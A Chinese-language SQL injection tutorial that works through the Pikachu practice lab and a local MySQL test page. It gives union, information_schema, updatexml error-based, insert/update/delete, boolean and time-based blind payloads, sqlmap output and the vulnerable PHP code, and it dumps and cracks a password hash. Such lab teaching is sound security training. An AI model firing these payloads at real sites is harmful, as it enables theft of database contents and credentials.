目录
06:SQL注入提交方式
6.1、get提交
6.2、post提交
6.4、HTTP Header头提交
07:注入攻击支持类型
7.1、union注入:
7.1.1、union操作符一般与order by语句配合使用
7.1.2、information_schema注入
7.2、基于函数报错注入(insert、update、dalete)
7.2.1、insert注入
7.2.2、update注入
7.2.3、dalete注入
7.3、盲注
7.3.1、基于布尔型SQL盲注
7.3.2、基于时间型SQL盲注
7.4、堆叠注入
7.5、宽字节注入(特殊)
06:SQL注入提交方式
6.1、get提交
地址栏可以看见参数
6.2、post提交
通过burp抓包(参数在请求体里)
6.3、cookie提交
通过burp抓包(参数写到cookie里)
6.4、HTTP Header头提交
请求头为:Referer、Accept、User-Agent、Cookie等
如User-Agent注入
打开pikachu靶场环境;选择http头注入:
http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header.php
输入账户admin密码123456--用bp抓包拦截找到登陆地GET请求--发到bp重发器(Repeater)
请求包内容:
GET /pikachu/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 10.0.0.101:90
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.0.0.101:90/pikachu/vul/sqli/sqli_header/sqli_header_login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; 4unT_2132_lastvisit=1715954790; 4unT_2132_ulastactivity=bbe7dShKgYKRaBrRbwkvKSunwF6na%2B4Ow0kVNoUVHsSdR0D2Ii4f; 4unT_2132_visitedfid=2; 4unT_2132_smile=1D1; sitekeyword=%3Ca+href%3D%27http%3A%2F%2Fx%2E5vshop%2Ecom%27%3E5vShop%C8%FD%BA%CF%D2%BB%B5%E7%C9%CC%CF%B5%CD%B3%C9%CF%CA%D0%21%21%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27show%2Easp%3Fpkid%3D4929%27%3E%C3%C9%CC%D8%CB%B9%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%3Ca+href%3D%27productlist%2Easp%3Fkind%3D00030008%27%3E%D6%D0%B5%CD%B6%CB%C3%C0%BE%C6%3C%2Fa%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B; PHPSESSID=8a0a2bc60593dcc8a0e5cc4c8bbda840
Connection: close
漏洞探测:去除User-Agent:内容,然后输入' 运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。
'
在User-Agent输入payload :(尝试获取数据库的信息)
Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
成功sql注入:
查看源代码:
//直接获取前端过来的头信息,没人任何处理,留下安全隐患
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
注:发现User-Agent头未做过滤,直接带入数据库,产生SQL注入漏洞。
07:注入攻击支持类型
7.1、union注入:
7.1.1、union操作符一般与order by语句配合使用
union操作符一般与order by语句配合使用(id=1 order by 5 测是否有5个字段)
如:
a' order by 4#% --判断主查询的字段,报错没有4个字段
a' order by 3#% --判断主查询的字段,没报错有3个字段
a' union select database(),user(),version()#%
--通过union select查询:
--database(): MySQL函数,返回当前数据库的名称。
--user(): 获取当前连接的用户名。
--version(): 显示MySQL服务器的版本信息。
注入方式查询:
sqlmap工具、mysql靶场环境
http://10.0.0.101:90/mysql/sql.php?id=1
注入方式查询方法:sqlmap.py(cmd运行程序,需python2.7.9)
sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
输出如下:
---
Place: GET --提交方式
Parameter: id --注入点
Type: boolean-based blind --布尔型注入
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7911=7911 --注入方式
(注入方式即http://10.0.0.101:90/mysql/sql.php?id=1 AND 7911=7911)Type: UNION query --联合查询型
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#Type: AND/OR time-based blind --时间型注入
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5) --注入方式
---
使用sqlmap工具,原查询内容:
C:\lan\sqlmap>sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:05:01
[20:05:01] [INFO] resuming back-end DBMS 'mysql'
[20:05:01] [INFO] testing connection to the target URL
[20:05:01] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7911=7911
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)
---
[20:05:01] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[20:05:01] [INFO] fetched data logged to text files under 'C:\lan\sqlmap\output\10.0.0.101'
[*] shutting down at 20:05:01
C:\lan\sqlmap>
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果
如:打开pikachu靶场,输入以下内容:
v' union select username,pw from member where id=1#%
报错:
因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
输入a' order by 4#%,反馈如图:
输入a' order by 3#%,反馈如图:
通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句:
a' union select database(),user(),version()#%
成功读取数据库内容:
例2:
http://10.0.0.101:90/mysql/sql.php?id=1 union select 1,user(),3,4
输出:
用户ID: 1
用户名: root@localhost --user()的输出内容
用户密码: 3
用户邮箱: 4
7.1.2、information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息
通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。
information_schema库-TABLES 表-TABLE_SCHEMA为pikaqiu的行
找出数据库的名称,输入 vince' union select database(),user(),3#% 得到反馈,判断数据库名称为pikachu。
--vince是表名或用户名的一部分。
获取pikachu数据库的表名,输入
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%
输出值如:
username:admin
uid:e10adc3949ba59abbe56e057f20f883e --密码可以通过cmd5在线解密;为123456
email is: 3
7.2、基于函数报错注入(insert、update、dalete)
updatexml() --函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() --函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor() --MYSQL中用来取整的函数.
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示:
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
7.2.1、insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
----
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload
格式如下:oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
7.2.2、update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用户注册端。
---
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:' or updatexml(0,concat(0x7e,(database())),0) or'
7.2.3、dalete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
7.3、盲注
7.3.1、基于布尔型SQL盲注
基于布尔型SQL盲注
步骤:
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
--根据返回的信息判断此思路不再适用。
select ascii(substr(database(),1,1))>xx;
--过对比ascii码的长度,判断出数据库表名的第一个字符。
--substr()函数;substr(string,start,length);string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
select length(database())<xx
--同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。
vince' and ascii(substr(database(),1,1))=112#
--通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。可以使用sqlmap等工具来增加盲注的效率。
--substr(database(),1,1): 这个函数用于提取database()函数返回值的第一个字符,其中database()函数通常用来获取当前使用的数据库名称。
--ascii(): 此函数用于将字符转换为其ASCII码。因此,ascii(substr(database(),1,1)) 是获取数据库名称首字母的ASCII码。
---'vince': 这是一个字符串字面量。
--=112: 这是一个比较操作符,用于判断数据库名称首字母的ASCII码是否等于112(小写字母'p'的ASCII码)。
--# 符号:在某些SQL环境中,这个符号用于注释掉一行剩余的部分。
7.3.2、基于时间型SQL盲注
基于时间型SQL盲注
2种方法:
vince' and sleep(x)#
--vince' and sleep(20)#
--sleep(x): 这是一个典型的延时函数调用,在MySQL数据库中常见。sleep(x)会使数据库服务器暂停执行接下来的操作x秒。WAITFOR DELAY '0:0:5'--
--WAITFOR DELAY '0:0:5': 这是SQL Server中的一个命令,用于使当前的数据库连接等待指定的时间。在这个例子中,它让数据库等待5秒钟(0:0:5表示0小时0分钟5秒)。攻击者利用此命令来实现与上述sleep(x)类似的目的,即验证SQL注入漏洞的存在,并通过观察响应延迟来确认。
-- [--:这是SQL Server中的单行注释符号。跟在它后面的所有内容都将被视为注释,不再执行。]
7.4、堆叠注入
参考:https://www.cnblogs.com/0nth3way/articles/7128189.html
7.5、宽字节注入(特殊)
当我们把php.ini文件里面的magic_quotes_gqc(魔术引号)参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。
注入流程:
如http://10.0.0.101/custom.asp?id=1
查找注入点:
存在参数id=1,可能与数据库交互,可能存在漏洞.
手工测试:尝试在id后加入单引号(')或双连字符(--),观察页面反馈是否异常,如错误信息透露了数据库结构或查询失败。sqlmp工具跑注入
打开网站,寻找带有参数的页面
尝试注入点
方式一:’
方式二:and 1=1 and 1=2
单引号报错
and 1=2报错
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。